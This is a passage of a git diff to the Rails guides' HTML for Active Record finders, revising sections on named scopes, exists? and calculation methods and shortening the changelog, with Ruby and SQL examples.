+<div class="paragraph"><p>If you would then like to do a <tt>all</tt> on that scope, you can. Just like an association, named scopes allow you to call <tt>all</tt> on them:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"age &gt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>age<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<h3 id="_runtime_evaluation_of_named_scope_conditions">17.3. Runtime Evaluation of Named Scope Conditions</h3>
-<div class="para"><p>Consider the following code:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"age &gt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>age<span style="color: #990000">]])</span></tt></pre></div></div>
+<h3 id="_runtime_evaluation_of_named_scope_conditions">16.3. Runtime Evaluation of Named Scope Conditions</h3>
+<div class="paragraph"><p>Consider the following code:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -856,9 +748,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">&gt;</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, <tt>2.weeks.ago</tt> is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This looks like a standard named scope that defines a method called <tt>recent</tt> which gathers all records created any time between now and 2 weeks ago. That&#8217;s correct for the first time the model is loaded but for any time after that, <tt>2.weeks.ago</tt> is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -866,11 +757,10 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.</p></div>
-<h3 id="_named_scopes_with_multiple_models">17.4. Named Scopes with Multiple Models</h3>
-<div class="para"><p>In a named scope you can use <tt>:include</tt> and <tt>:joins</tt> options just like in find.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>And now every time the <tt>recent</tt> named scope is called, the code in the lambda block will be executed, so you&#8217;ll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.</p></div>
+<h3 id="_named_scopes_with_multiple_models">16.4. Named Scopes with Multiple Models</h3>
+<div class="paragraph"><p>In a named scope you can use <tt>:include</tt> and <tt>:joins</tt> options just like in <tt>find</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -879,11 +769,10 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>active_within_2_weeks<span style="color: #990000">,</span> <span style="color: #990000">:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>order<span style="color: #990000">,</span>
lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This method, called as <tt>Client.active_within_2_weeks.all</tt>, will return all clients who have placed orders in the past 2 weeks.</p></div>
-<h3 id="_arguments_to_named_scopes">17.5. Arguments to Named Scopes</h3>
-<div class="para"><p>If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This method, called as <tt>Client.active_within_2_weeks.all</tt>, will return all clients who have placed orders in the past 2 weeks.</p></div>
+<h3 id="_arguments_to_named_scopes">16.5. Arguments to Named Scopes</h3>
+<div class="paragraph"><p>If you want to pass to a named scope a required arugment, just specify it as a block argument like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -891,9 +780,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>time<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> time<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will work if you call <tt>Client.recent(2.weeks.ago).all</tt> but not if you call <tt>Client.recent</tt>. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will work if you call <tt>Client.recent(2.weeks.ago).all</tt> but not if you call <tt>Client.recent</tt>. If you want to add an optional argument for this, you have to use prefix the arugment with an *.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -901,12 +789,11 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|*</span>args<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> args<span style="color: #990000">.</span>first <span style="color: #990000">||</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will work with <tt>Client.recent(2.weeks.ago).all</tt> and <tt>Client.recent.all</tt>, with the latter always returning records with a created_at date between right now and 2 weeks ago.</p></div>
-<div class="para"><p>Remember that named scopes are stackable, so you will be able to do <tt>Client.recent(2.weeks.ago).unlocked.all</tt> to find all clients created between right now and 2 weeks ago and have their locked field set to false.</p></div>
-<h3 id="_anonymous_scopes">17.6. Anonymous Scopes</h3>
-<div class="para"><p>All Active Record models come with a named scope named <tt>scoped</tt>, which allows you to create anonymous scopes. For example:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will work with <tt>Client.recent(2.weeks.ago).all</tt> and <tt>Client.recent.all</tt>, with the latter always returning records with a created_at date between right now and 2 weeks ago.</p></div>
+<div class="paragraph"><p>Remember that named scopes are stackable, so you will be able to do <tt>Client.recent(2.weeks.ago).unlocked.all</tt> to find all clients created between right now and 2 weeks ago and have their locked field set to false.</p></div>
+<h3 id="_anonymous_scopes">16.6. Anonymous Scopes</h3>
+<div class="paragraph"><p>All Active Record models come with a named scope named <tt>scoped</tt>, which allows you to create anonymous scopes. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -916,29 +803,26 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>recent
scoped <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Anonymous scopes are most useful to create scopes "on the fly":</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Anonymous scopes are most useful to create scopes "on the fly":</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>scoped<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>scoped<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.</p></div>
</div>
-<h2 id="_existence_of_objects">18. Existence of Objects</h2>
+<h2 id="_existence_of_objects">17. Existence of Objects</h2>
<div class="sectionbody">
-<div class="para"><p>If you simply want to check for the existence of the object there's a method called <tt>exists?</tt>. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.</p></div>
+<div class="paragraph"><p>If you simply want to check for the existence of the object there&#8217;s a method called <tt>exists?</tt>. This method will query the database using the same query as <tt>find</tt>, but instead of returning an object or collection of objects it will return either <tt>true</tt> or false+.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>exists?</tt> method also takes multiple ids, but the catch is that it will return true if any one of those records exists.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -946,46 +830,40 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">)</span>
<span style="font-style: italic"><span style="color: #9A1900"># or</span></span>
-Client<span style="color: #990000">.</span>exists?<span style="color: #990000">([</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>exists?</tt> method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.</p></div>
-<div class="para"><p>Further more, <tt>exists</tt> takes a <tt>conditions</tt> option much like find:</p></div>
+Client<span style="color: #990000">.</span>exists?<span style="color: #990000">([</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>Further more, <tt>exists</tt> takes a <tt>conditions</tt> option much like find:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span></tt></pre></div></div>
</div>
-<h2 id="_calculations">19. Calculations</h2>
+<h2 id="_calculations">18. Calculations</h2>
<div class="sectionbody">
-<div class="para"><p>This section uses count as an example method in this preamble, but the options described apply to all sub-sections.</p></div>
-<div class="para"><p><tt>count</tt> takes conditions much in the same way <tt>exists?</tt> does:</p></div>
+<div class="paragraph"><p>This section uses count as an example method in this preamble, but the options described apply to all sub-sections.</p></div>
+<div class="paragraph"><p><tt>count</tt> takes conditions much in the same way <tt>exists?</tt> does:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Which will execute:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Which will execute:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(*)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>first_name <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use <tt>include</tt> or <tt>joins</tt> for this to do something a little more complex:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(*)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>You can also use <tt>:include</tt> or <tt>:joins</tt> for this to do something a little more complex:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients.first_name = 'Ryan' AND orders.status = 'received'"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Which will execute:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients.first_name = 'Ryan' AND orders.status = 'received'"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Which will execute:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -993,142 +871,62 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">DISTINCT</span></span> clients<span style="color: #990000">.</span>id<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
<span style="font-weight: bold"><span style="color: #0000FF">LEFT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">OUTER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> orders <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> orders<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span>
- <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'name'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> orders<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">status</span></span> <span style="color: #990000">=</span> <span style="color: #FF0000">'received'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This code specifies <tt>clients.first_name</tt> just in case one of the join tables has a field also called <tt>first_name</tt> and it uses <tt>orders.status</tt> because that's the name of our join table.</p></div>
-<h3 id="_count">19.1. Count</h3>
-<div class="para"><p>If you want to see how many records are in your model's table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p></div>
-<div class="para"><p>For options, please see the parent section, Calculations.</p></div>
-<h3 id="_average">19.2. Average</h3>
-<div class="para"><p>If you want to see the average of a certain number in one of your tables you can call the <tt>average</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+ <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> orders<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">status</span></span> <span style="color: #990000">=</span> <span style="color: #FF0000">'received'</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This code specifies <tt>clients.first_name</tt> just in case one of the join tables has a field also called <tt>first_name</tt> and it uses <tt>orders.status</tt> because that&#8217;s the name of our join table.</p></div>
+<h3 id="_count">18.1. Count</h3>
+<div class="paragraph"><p>If you want to see how many records are in your model&#8217;s table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p></div>
+<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a>.</p></div>
+<h3 id="_average">18.2. Average</h3>
+<div class="paragraph"><p>If you want to see the average of a certain number in one of your tables you can call the <tt>average</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>average<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.</p></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_minimum">19.3. Minimum</h3>
-<div class="para"><p>If you want to find the minimum value of a field in your table you can call the <tt>minimum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>average<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.</p></div>
+<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a>.</p></div>
+<h3 id="_minimum">18.3. Minimum</h3>
+<div class="paragraph"><p>If you want to find the minimum value of a field in your table you can call the <tt>minimum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>minimum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_maximum">19.4. Maximum</h3>
-<div class="para"><p>If you want to find the maximum value of a field in your table you can call the <tt>maximum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>minimum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
+<h3 id="_maximum">18.4. Maximum</h3>
+<div class="paragraph"><p>If you want to find the maximum value of a field in your table you can call the <tt>maximum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>maximum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_sum">19.5. Sum</h3>
-<div class="para"><p>If you want to find the sum of a field for all records in your table you can call the <tt>sum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>maximum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
+<h3 id="_sum">18.5. Sum</h3>
+<div class="paragraph"><p>If you want to find the sum of a field for all records in your table you can call the <tt>sum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>sum<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
+<pre><tt>Client<span style="color: #990000">.</span>sum<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
</div>
-<h2 id="_credits">20. Credits</h2>
+<h2 id="_changelog">19. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p>Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.</p></div>
-<div class="para"><p>Thanks to Mike Gunderloy for his tips on creating this guide.</p></div>
-</div>
-<h2 id="_changelog">21. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-December 1 2008: Added using an SQL function example to Selecting Certain Fields section as per <a href="http://rails.lighthouseapp.com/projects/16213/tickets/36-adding-an-example-for-using-distinct-to-ar-finders">this ticket</a>
-</p>
-</li>
-<li>
-<p>
-November 23 2008: Added documentation for <tt>find_by_last</tt> and <tt>find_by_bang!</tt>
-</p>
-</li>
-<li>
-<p>
-November 21 2008: Fixed all points specified in <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-13">this comment</a> and <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-14">this comment</a>
-</p>
-</li>
-<li>
-<p>
-November 18 2008: Fixed all points specified in <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-11">this comment</a>
-</p>
-</li>
-<li>
-<p>
-November 8, 2008: Editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
-</p>
-</li>
-<li>
-<p>
-October 27, 2008: Added scoped section, added named params for conditions and added sub-section headers for conditions section by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 27, 2008: Fixed up all points specified in <a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16-activerecord-finders#ticket-16-6">this comment</a> with an exception of the final point by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 26, 2008: Editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
-</p>
-</li>
-<li>
-<p>
-October 22, 2008: Calculations complete, first complete draft by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 21, 2008: Extended named scope section by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 9, 2008: Lock, count, cleanup by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 6, 2008: Eager loading by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 5, 2008: Covered conditions by Ryan Bigg
-</p>
-</li>
-<li>
-<p>
-October 1, 2008: Covered limit/offset, formatting changes by Ryan Bigg
-</p>
-</li>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
-September 28, 2008: Covered first/last/all by Ryan Bigg
+December 29 2008: Initial version by Ryan Bigg
</p>
</li>
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/activerecord_validations_callbacks.html b/railties/doc/guides/html/activerecord_validations_callbacks.html
index 039e3d1891..be556283c1 100644
--- a/railties/doc/guides/html/activerecord_validations_callbacks.html
+++ b/railties/doc/guides/html/activerecord_validations_callbacks.html
@@ -1,334 +1,185 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Active Record Validations and Callbacks</title>
- <!--[if lt IE 8]>
